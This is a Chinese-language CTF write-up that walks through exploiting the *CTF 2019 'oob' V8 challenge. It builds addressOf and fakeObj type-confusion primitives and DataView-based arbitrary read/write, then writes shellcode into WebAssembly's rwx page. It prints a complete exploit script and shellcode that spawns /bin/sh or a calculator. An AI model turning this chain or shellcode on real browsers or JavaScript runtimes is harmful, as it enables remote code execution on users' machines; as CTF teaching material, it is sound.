初探v8漏洞利用

一直觉得 v8 漏洞利用是一件非常好玩的事情,所以找时间入门了一下,这篇博客所使用的环境是 *CTF 2019oob,相关附件读者可以自行上网搜索下载。这篇博客主要用于总结本人在入门 v8 漏洞利用时所学到的东西,由于 Qanux 又菜又爱玩,文章不免存在许多的问题,请读者多多包容

基本概念

在开始之前,肯定有很多人想问 v8 是一个什么东西,下面是在知乎中搜到的对于 v8 的描述:

V8引擎是由C++编写的Google开源高性能JavaScript和WebAssembly引擎,它用于Chrome和Node.js等。
V8可以独立运行,也可以嵌入到任何C++应用程序中。
V8支持众多操作系统,如Windows、linux、android等,也支持其他硬件架构,如IA32,X64,ARM等,具有很好的可移植和跨平台特性。

作为 js 引擎,V8 会编译 / 执行 JavaScript 代码,管理内存,负责垃圾回收,与宿主语言的交互等。通过暴露宿主对象 (变量,函数等) 到 JavaScriptJavaScript 可以访问宿主环境中的对象,并在脚本中完成对宿主对象的操作。
接下来看看 v8 工作原理的简化细分:

ChromeNode.js 需要执行一段 JavaScript 代码时,它会将源代码传递给 V8V8JavaScript 源代码送入所谓的解析器 (Parser),解析器为源代码创建一个抽象语法树 (AST) 表示。AST 随后被传递给新引入的 Ignition 解释器,在那里它被转换成一系列字节码。然后,Ignition 执行这个字节码序列。
在执行过程中,Ignition 收集了有关某些操作输入的剖析信息或反馈。其中一些反馈被 Ignition 自身用来加速后续的字节码解释。例如,对于属性访问,如果在所有时间都具有相同的形状 (即你总是为属性a传递一个值,其中 a 是一个字符串),我们会缓存如何获取 a 值的信息。在后续执行相同的字节码时,我们不需要再次搜索a。这里的底层机制称为内联缓存 (IC)。

接下来再聊聊什么是 d8d8 是一个非常有用的调试工具,你可以把它看成是 debug for V8 的缩写。我们可以使用 d8 来查看 V8 在执行 JavaScript 过程中的各种中间数据,比如作用域、AST、字节码、优化的二进制代码、垃圾回收的状态,还可以使用 d8 提供的私有 API 查看一些内部信息。

走进v8

本来想写写如何配置 v8 环境的,可是网上相关资料太多了,加上笔者比较懒,就没写,等哪天心血来潮再补上吧

调试

在给 gdb 配置好 v8 的调试文件后,即可利用如下命令来调试我们的 JavaScript 代码:

1
2
gdb ./d8
r --allow-natives-syntax --shell ./exp.js

这里解释一下命令里面的几个参数:

  • –allow-natives-syntax:开启原生 API (用的比较多)
  • –shell:运行脚本后切入交互模式

在调试的过程中我们可以在代码中加入如下代码来进行调试:

1
2
%DebugPrint(obj);
%SystemBreak();

其中 %DebugPrint(obj); 作用为打印对象的信息 (debug 版本的 d8 可以打印对象的详细信息,而 release 版本的 d8 只会打印对象类型和对象的地址),%SystemBreak(); 的作用类似于断点
由于标准的 JavaScript 并不支持以上语法,所以在运行时要加上 --allow-natives-syntax 选项
现在使用如下代码来进行测试:

1
2
3
a = [1, 1, 4, 5, 1, 4];
%DebugPrint(a);
%SystemBreak();

启动效果如下:

可以看见打印出了这个整数数组的地址,由于我这个 d8release 版本,所以并没有打印出该数组对象的详细信息,但我们可以使用 job 命令来达到相同的效果

这里有个需要注意的点,那就是 DebugPrint 打印出来的是真实地址加一,而 job 命令后面接着的也需要是 object 的真实地址加一,不然会被解析成 smi 类型

v8 object的基本结构

首先给出 object 的通用结构:

不同对象的 object 结构都会不一样,但是都有很多相似之处,现在就来详细分析上面给出的例子,为了防止忘记,这里再次贴出代码:

1
2
3
a = [1, 1, 4, 5, 1, 4];
%DebugPrint(a);
%SystemBreak();

还是给出一样的结果:

可以看出该对象为 JSArray,其结构和 object 的通用结构差不多,但是还是有一点点区别
下面是 JSArray 的结构图:

其各个字段的含义大致如下:

  • map:定义了如何访问对象,具有相同 Map 的两个 JS object ,就代表具有相同的类型(即具有以相同顺序命名的相同属性),比较 Map 的地址即可确定类型是否⼀致,同理,替换掉 Map 就可以进行类型混淆。
  • prototype:对象的原型(如果有)
  • elements:对象的地址
  • length:长度

我们可以在 gdb 中查看 elements

可以看见 elements 中的数据也分为 3 层,分别为 map 指针、lengthdata
这里还有一个需要注意的地方,那就是 elements 的地址是在 object 的上方的,也就是说程序在申请一个对象时,是先向堆申请一块空间用于存储对象的数据,再申请一块空间用于管理该对象。虽然 elements 是在 obj 上上方,但这并不代表 elements 就一定紧贴着 obj,这个问题我打算留到后面再讲
好像相关结构了解到这里就差不多了,如果后面还有别的那就再补补吧(笑

v8漏洞利用思想

通过上面对 object 结构的分析,也许有人已经知道进行漏洞的利用了。可以猜测我们对一个对象进行访问时下标的最大值是由 elements 上的 length 所决定的,如果我们可以修改这个 length 为一个很大的值,我们就能够做到越界读写。同时,如果我们可以修改 obj 中的 map,我们令其出现神奇的效果,具体在下面漏洞利用中再分析
在平时的 CTF 题目中我们的目的是如何让程序执行 system("/bin/sh"),而在 v8 中,我们的目的是让 v8 任意执行我们的 shellcode
然而实现这一切需要一个前提,那就是需要存在 rwx 权限的区域。这时候就需要 WASM 登场了
什么是 WASM?顾名思义,是 Asm on the web,但其实不是真正意义上的汇编,只是更加接近汇编。WASM 可以在 Javascript Engine 的地址空间中导入一块可读可写可执行的内存页。
下面看看这一段代码:

1
2
3
4
5
6
7
8
9
10
11
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
%DebugPrint(wasm_mod);
%DebugPrint(f);
%SystemBreak();

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
0x0d1dfcf5f731 <Instance map = 0x1ccbe5f49789>
0x0d1dfcf5f929 <JSFunction 0 (sfi = 0xd1dfcf5f8f1)>

pwndbg> job 0x0d1dfcf5f731
0xd1dfcf5f731: [WasmInstanceObject] in OldSpace
- map: 0x1ccbe5f49789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x23f8cbe0ac19 <Object map = 0x1ccbe5f4abd9>
- elements: 0x0cb6b4d40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x23f8cbe10fb1 <Module map = 0x1ccbe5f491e9>
- exports_object: 0x23f8cbe111e9 <Object map = 0x1ccbe5f4ad19>
- native_context: 0x0d1dfcf41869 <NativeContext[246]>
- memory_object: 0x0d1dfcf5f859 <Memory map = 0x1ccbe5f4a189>
- table 0: 0x23f8cbe11181 <Table map = 0x1ccbe5f49aa9>
- imported_function_refs: 0x0cb6b4d40c71 <FixedArray[0]>
- managed_native_allocations: 0x23f8cbe11129 <Foreign>
- memory_start: 0x7f9440280000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55ab193567e0
- globals_start: (nil)
- imported_mutable_globals: 0x55ab19356800
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x0cb6b4d40c71 <FixedArray[0]> {}

pwndbg> job 0x0d1dfcf5f929
0xd1dfcf5f929: [Function] in OldSpace
- map: 0x1ccbe5f44379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0d1dfcf42109 <JSFunction (sfi = 0xe9259bc3b29)>
- elements: 0x0cb6b4d40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x0d1dfcf5f8f1 <SharedFunctionInfo 0>
- name: 0x0cb6b4d44ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x0d1dfcf41869 <NativeContext[246]>
- code: 0x323b6e002001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0xd1dfcf5f731
- WASM function index 0
- properties: 0x0cb6b4d40c71 <FixedArray[0]> {
#length: 0x0e9259bc04b9 <AccessorInfo> (const accessor descriptor)
#name: 0x0e9259bc0449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x0e9259bc0369 <AccessorInfo> (const accessor descriptor)
#caller: 0x0e9259bc03d9 <AccessorInfo> (const accessor descriptor)
}

- feedback vector: not available
pwndbg>

可以看见此时内存已经出现了拥有 rwx 权限的区域

1
2
pwndbg> vmmap
0xfb58ac2e000 0xfb58ac2f000 rwxp 1000 0 [anon_fb58ac2e]

现在的问题是我们要如何获取到这个内存区域的地址,我们来查看一下 fshared_info 结构的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> job 0x0d1dfcf5f8f1
0xd1dfcf5f8f1: [SharedFunctionInfo] in OldSpace
- map: 0x0cb6b4d409e1 <Map[56]>
- name: 0x0cb6b4d44ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x0d1dfcf5f8c9 <WasmExportedFunctionData>
- code (from data): 0x323b6e002001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x0cb6b4d40c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0xcb6b4d42a39: [FeedbackMetadata]
- map: 0x0cb6b4d41319 <Map>
- slot_count: 0

pwndbg>

接下里再查看其 data 结构:

1
2
3
4
5
6
7
pwndbg> job 0x0d1dfcf5f8c9
0xd1dfcf5f8c9: [WasmExportedFunctionData] in OldSpace
- map: 0x0cb6b4d45879 <Map[40]>
- wrapper_code: 0x323b6e002001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x0d1dfcf5f731 <Instance map = 0x1ccbe5f49789>
- function_index: 0
pwndbg>

再查看 instance 结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> job 0x0d1dfcf5f731
0xd1dfcf5f731: [WasmInstanceObject] in OldSpace
- map: 0x1ccbe5f49789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x23f8cbe0ac19 <Object map = 0x1ccbe5f4abd9>
- elements: 0x0cb6b4d40c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x23f8cbe10fb1 <Module map = 0x1ccbe5f491e9>
- exports_object: 0x23f8cbe111e9 <Object map = 0x1ccbe5f4ad19>
- native_context: 0x0d1dfcf41869 <NativeContext[246]>
- memory_object: 0x0d1dfcf5f859 <Memory map = 0x1ccbe5f4a189>
- table 0: 0x23f8cbe11181 <Table map = 0x1ccbe5f49aa9>
- imported_function_refs: 0x0cb6b4d40c71 <FixedArray[0]>
- managed_native_allocations: 0x23f8cbe11129 <Foreign>
- memory_start: 0x7f9440280000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55ab193567e0
- globals_start: (nil)
- imported_mutable_globals: 0x55ab19356800
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x0cb6b4d40c71 <FixedArray[0]> {}

pwndbg>

仔细查看能发现,instance 结构就是 js 代码中的 wasm_mod 变量的地址
我们再来查看这个结构的内存布局:

仔细看,能发现,rwx 段的起始地址储存在 instance+0x88 的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写 exp 的时候通过上述调试的方式进行查找。
根据 WASM 的特性,我们的目的可以更细化了,现在我们的目的变为了把 shellcode 写到 WASM 的代码段,然后执行 WASM 函数,那么就能执行 shellcode 了。
这里可以写成一个固定的模板:

1
2
3
4
5
6
7
8
9
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);

其中 arbitrary_address_read 函数的具体实现方式要看具体的漏洞环境

常用shellcode

CTF 题目中,我们的目的大多数是 getshell 然后获取 flag,用于 getshellshellcode 如下:

1
2
3
4
5
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

当然我们也可以令其弹计算器,shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];

类型混淆利用模板

这里先给出一些方便类型混淆漏洞利用的模板,在后面编写 exp 时会用上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}

漏洞利用实战

漏洞分析

和文章一开始说的一样,环境用的是 *CTF 2019oob。题目给了一个 diff 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

嗯。。。。。。,好像看的不太懂,这里简单解释一下
这里主要是出题人为 array 定义了一个 oob 函数,其函数的功能如下:

  • 获取参数的数量,然后根据参数个数进行不同的操作
  • 如果参数数量大于 2 则直接抛出 undefined
  • 如果参数数量小于等于 2,则先把 array 转成 doublearray
  • 然后判断如果无额外参数(第一个是 this),则是 read 功能,返回 array[length]
  • 如果传入了一个参数,则是 write 功能,将 value 写入到 doublearray[length]

这里的漏洞还是挺好发现了,我们知道 array 最后一个元素的索引为 length - 1, 而这里可以索引到 length,也就是说我们可以在 elements 中越界读和写一个索引的数据
在上面的分析中我们知道 elements 是在 obj 的上方的,当时我也说过 elements 并不一定紧贴着 obj 的,现在我就来分析一下这个问题。demo 代码如下:

1
2
3
a = [1,2,3,4];
%DebugPrint(a);
%SystemBreak();

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x20bd84310ab9 <JSArray[4]>  

pwndbg> job 0x20bd84310ab9
0x20bd84310ab9: [JSArray]
- map: 0x273506142d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x02e1c7e51111 <JSArray[0]>
- elements: 0x20bd84310a41 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
- length: 4
- properties: 0x10c0b3540c71 <FixedArray[0]> {
#length: 0x15d18a8001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x20bd84310a41 <FixedArray[4]> {
0: 1
1: 2
2: 3
3: 4
}
pwndbg> tel 0x20bd84310a41
00:0000│ 0x20bd84310a41 ◂— 0x10c0b35408
01:0008│ 0x20bd84310a49 ◂— 0x4000000
02:0010│ 0x20bd84310a51 ◂— 0x1000000
03:0018│ 0x20bd84310a59 ◂— 0x2000000
04:0020│ 0x20bd84310a61 ◂— 0x3000000
05:0028│ 0x20bd84310a69 ◂— 0x5100000004000000
06:0030│ 0x20bd84310a71 ◂— 0x10c0b35408
07:0038│ 0x20bd84310a79 ◂— 0x2900000004000000
pwndbg>

怪,可以看见在 elementsobj 的中间存在一些数据,于是我好奇去看看这是什么东西

好家伙,居然还会存在一个别的结构。算了,这不是我这个初学者该了解的东西,等学深入了再研究吧,暂时不影响解题
既然全为整数的 arrayelements 无法紧贴着 obj,那存在浮点数的 array 呢?demo 代码如下:

1
2
3
a = [1.1,2.2,3,4];
%DebugPrint(a);
%SystemBreak();

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x116059b90b21 <JSArray[4]>

pwndbg> job 0x116059b90b21
0x116059b90b21: [JSArray]
- map: 0x0ce399302ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x07fe97a11111 <JSArray[0]>
- elements: 0x116059b90af1 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x3ffe4d400c71 <FixedArray[0]> {
#length: 0x062d803001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x116059b90af1 <FixedDoubleArray[4]> {
0: 1.1
1: 2.2
2: 3
3: 4
}
pwndbg> tel 0x116059b90af1
00:0000│ 0x116059b90af1 ◂— 0x3ffe4d4014
01:0008│ 0x116059b90af9 ◂— 0x9a00000004000000
02:0010│ 0x116059b90b01 ◂— 0x9a3ff19999999999
03:0018│ 0x116059b90b09 ◂— 0x40019999999999
04:0020│ 0x116059b90b11 ◂— 0x40080000000000
05:0028│ 0x116059b90b19 ◂— 0xd940100000000000
06:0030│ 0x116059b90b21 ◂— 0x7100000ce399302e
07:0038│ 0x116059b90b29 ◂— 0xf100003ffe4d400c
pwndbg>

可以看见带浮点数数组的 elements 是紧贴着 obj 的,这符合我们漏洞的利用
首先尝试利用一下能否利用该漏洞来泄露出 objmap 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}

var float_array = [.1];
var float_array_map = float_array.oob();
print("[*] float array map: " + hex(d2u(float_array_map)));

%DebugPrint(float_array);
%SystemBreak();

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[*] float array map: 0x000029e6d51c2ed9
0x133632fd10b1 <JSArray[1]>

pwndbg> job 0x133632fd10b1
0x133632fd10b1: [JSArray]
- map: 0x29e6d51c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1dc4905d1111 <JSArray[0]>
- elements: 0x133632fd1099 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x097d61840c71 <FixedArray[0]> {
#length: 0x3faa656801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x133632fd1099 <FixedDoubleArray[1]> {
0: 0.1
}
pwndbg>

可以看到我们已经成功的泄露出了 map。同理,我们也可以用类似的方法去修改 map
为了能够在 WASM 上写入我们的 shellcode,我们需要任意地址写和地址泄露,这时候就需要用到类型混淆

地址泄露

在上面已经说过,v8 是通过 map 所指向的区域来判断该对象是什么类型,也就是说,如果我们吧一个存储 objarraymap 修改为存在浮点数数组的 map,这时候我们就能够直接获取到该对象的地址。我们可以将该原语封装成一个 addressOf 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}

var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();

print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));

function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}

其中 addressOf 函数的功能为获取指定对象 obj 的地址,建议读者仔细阅读和理解该函数的实现原理
同理,我们也可以用类似的思路来实现任意地址的写,不过有一点点绕

任意地址写

任意地址写的思想为伪造一个 object,根据类型混淆可以将该原语封装成一个函数:

1
2
3
4
5
6
function fakeObj(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}

这里还是希望读者可以自行思考和理解该原语是如何实现伪造 object 的。
我们伪造的 object 是在 elements 上面的,而 elements 上的数据是可控的,我们可以按照如下样式伪造一个存在浮点数的 object

1
2
3
4
5
6
var float_array_mem = [
float_array_map,
0, // 没有原型
u2d(target - 0x10n), // fake elements ptr
u2d(0x100000000n), // fake length
];

这里伪造的是一个没有原型的存在浮点数的 objcettarget 为我们想要进行写的地址,也就是伪造的 elements
我们可以在泄露出 float_array_mem 的地址后通过 fakeObj(fake_obj_addr) 函数来获取我们的 fake object,然后向 target 写入数据。至于为什么 target-0x10 呢,因为 elements 上面有 0x10 字节用于存储 maplength
有了对象地址泄露和任意地址写,我们就以为能够在 WASM 上愉快的写 shellcode 了,可事情并没有这么简单,即在写 0x7fxxxxx 这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。因为写原语使用的是 FloatArray 的写入操作,而 Double 类型的浮点数数组在处理 7f 开头的高地址时会出现将低 20 位与运算为 0
这时候我们就要使用 DataView 对象,该对象的结构如下:

这是用来读写 ArrayBufferBackingStore 的内容的对象,在 exploit 里常用作最后的任意地址读写原语的构造。
可以看见这个 DataView 多了一个 BackingStoreDataView 对象中的 backing_store 会指向申请的 data_buf (backing_store 相当于我们的 elements),修改 backing_store 为我们想要写的地址,并通过 DataView 对象的 setBigUint64 方法就可以往指定地址正常写入数据了。
那现在我们的思路就很明确了,首先申请 2ArrayBuffer 对象 ab1ab2,申请他们各自的 DataView 对象 dv1dv2。将伪造的 fakeobjelements 指向 dv1BackingStore-0x10,再通过修改 fakeobjdv1BackingStore 指向 dv2BackingStore-0x10
此时,我们可以通过修改 fakeobj 来修改 dv2 BackingStore 处的值,最后通过 dv2 的内置函数来实现任意地址的读写。提醒一下,这里要区分开 BackingStore 的地址和 BackingStore 地址出的值这2个概念。原语封装函数如下:

1
2
3
4
5
6
7
8
9
function arbitrary_address_read(address) {
dv1.setBigUint64(0, address, true);
return dv2.getBigUint64(0, true);
}

function arbitrary_address_write(address, value) {
dv1.setBigUint64(0, address, true);
return dv2.setBigUint64(0, value, true);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}

var obj = {};
var float_array = [.1];
var object_array = [obj];
var float_array_map = float_array.oob();
var object_array_map = object_array.oob();

print("[*] float array map: " + hex(d2u(float_array_map)));
print("[*] object array map: " + hex(d2u(object_array_map)));

function addressOf(obj) {
float_array.oob(object_array_map);
float_array[0] = obj;
float_array.oob(float_array_map);
return d2u(float_array[0]);
}

function fakeObj(addr) {
object_array.oob(float_array_map);
object_array[0] = u2d(addr | 1n);
object_array.oob(object_array_map);
return object_array[0];
}

var ab1 = new ArrayBuffer(0x8);
var ab2 = new ArrayBuffer(0x1000);
var dv1 = new DataView(ab1);
var dv2 = new DataView(ab2);
var ab1_bs_addr = addressOf(ab1) + 0x20n;
var ab2_bs_addr = addressOf(ab2) + 0x20n;

var float_array_mem = [
float_array_map,
0, // 没有原型
u2d(ab1_bs_addr - 0x10n), // fake elements ptr
u2d(0x100000000n), // fake length
];

fake_float_array = fakeObj(addressOf(float_array_mem) + 0x30n);
fake_float_array[0] = u2d(ab2_bs_addr - 1n);

function arbitrary_address_read(address) {
dv1.setBigUint64(0, address, true);
return dv2.getBigUint64(0, true);
}

function arbitrary_address_write(address, value) {
dv1.setBigUint64(0, address, true);
return dv2.setBigUint64(0, value, true);
}

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;
var rwx_mem_addr = arbitrary_address_read(addressOf(wasm_mod) - 1n + 0x88n);

print("[*] rwx mem addr: " + hex(rwx_mem_addr));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

for (let i = 0; i < shellcode.length; i++) {
arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

最后

十分简单的入门了一下 v8 漏洞利用,该类漏洞以及利用方式还有很多,看来有的学了
今天 Csome 学长在 defcon 拿了一血,太牛拉

